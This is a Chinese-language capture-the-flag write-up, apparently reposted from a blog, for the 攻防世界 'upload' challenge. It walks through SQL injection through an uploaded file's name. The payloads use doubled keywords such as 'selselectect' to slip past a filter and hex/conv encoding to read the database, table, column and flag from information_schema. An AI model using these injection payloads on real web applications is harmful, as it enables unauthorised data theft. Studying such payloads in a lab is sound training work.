攻防世界upload
Hex()是MySQL的Sring函数。
此方法返回给定数字或字符串的十六进制字符串
a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
数据库名变成16进制
选取从第一个字母开始,往后数12个字母
hex 16进制再16进制
CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制
substr(str,start,length):将str从start长度为length分割
hex(str):将str转成十六进制。
先从10进制变成16进制
在使用hex解码
a’+(selselectect database())+’.jpg
上传jpg图片,有回显,说明文件已经被传到了数据库中,
但是没有给路径
上传了木马,但是无法利用
数据上传到数据库。浏览器又从数据库读取了上传的文件
这个过程有可能触发sql注入,将文件名中加sql语句,
上传文件,使用burp把文件名修改成sql语句
文件存入数据库,显示文件名,
输入查询数据库的语句时,可以读取数据库
修改成 select database().jpg ,发现select被过滤
双写绕过成功
构造:
payload:文件名’+(selselectect conv(substr(hex(database()),1,12),16,10))+’.jpg
CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制
substr(str,start,length):将str从start长度为length分割
hex(str):将str转成十六进制
传入,发现上面情况
sql语句是执行了,但无法输出执行结果.(可能数据被过滤掉了)
那么尝试将查询结果改为16进制输出
插入数据库文件名中如果包括SQL语句,在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤) 尝试用10进制表示 conv函数(src,from_base,to_base) src是要转换的数据, from_base是原进制, to_base是目标进制.
使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制
正常sql语句进入,服务器会对回显进行过滤
所以使用hex()对返回结果进行加密
然后发现题目过滤了回显柚子的情况,如果出现字母后面的内容就不显示
所以需要将16进制的内容
转换成10进制
构建
seselectlect database().jpg
就返回
select databse().jpg
payload:文件名’+(selselectect conv(substr(hex(database()),1,12),16,10))+’.jpg
传入
a‘+(select database())+’,jpg
之后,没有任何回显
1'+(selselectect hex(database()))+'.jpg
返回了
7765626
hex解密出来web
看答案,我知道
他对回显的字母进行过滤,所以要再加上conv()把16进制变成10进制,字母就没了
传入
1'+(hex(seselectlect database()))+'.jpg
不知道为什么没有回显
传入
1'+(selselectect conv(hex(database()),16,10))+'.jpg
发现返回科学计数法
1.8446744073709552e19
把字符串进行长度限制
1'+(selselectect substr(conv(hex(database()),16,10),1,12))+'.jpg
返回
184467440738
进行10变成16,再hex()解码
输出的结果不对劲
推测,就是先hex,再conv之后,出来的结果是科学计数法
对科学计数法,提取到12位,所以不对
所以应该hex之后,提取12位,再进行conv
就可以不被科学计数法
1'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
返回131277325825393
解码之后
WEB_UQ
并且发现
之前传入的,只使用一个hex()加密,输出的内容
1'+(selselectect hex(database()))+'.jpg
发现他如果回显的内容有字母,会去掉字母后面的东西
1'+(selselectect conv(substr(hex(database()),13,12),16,10))+'.jpg
1819238757
LOAE
所以数据库名
WEB_UQ LOAE
看答案,他说通过测试长度最大是12,超过12,就会返回科学计数法
然后就是爆出表名,字段名
官方答案:
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
114784820031327
sql '+( CONV(substr(hex(selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1),1,12),16,10))+'.jpg
为什么少了个括号,就没有返回内容
最里面的括号是把select语句变成一个整体
第二个括号是hex的括号
传入
sql '+(CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
执行成功
就是回显文件名,把文件名变成sql语句,会被执行,然后回显
继续向上面
先用1-12
再13
再25
拼接后得到表名hello_flag_is_here
查列名
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
conv(substr(hex((seselectlect column_name frfromom information_schema.columns
where table_name=’ hello_flag_is_here’ limit 0,1)),1,12),16,10)
拼接后得到列名i_am_flag
查字段
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
拼接后得到flag:!!_@m_Th.e_F!lag
注意limit
参考大佬
攻防世界web进阶区upload_gongjingege的博客-CSDN博客_攻防世界upload
https://blog.csdn.net/qq_44065556/article/details/120449847
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!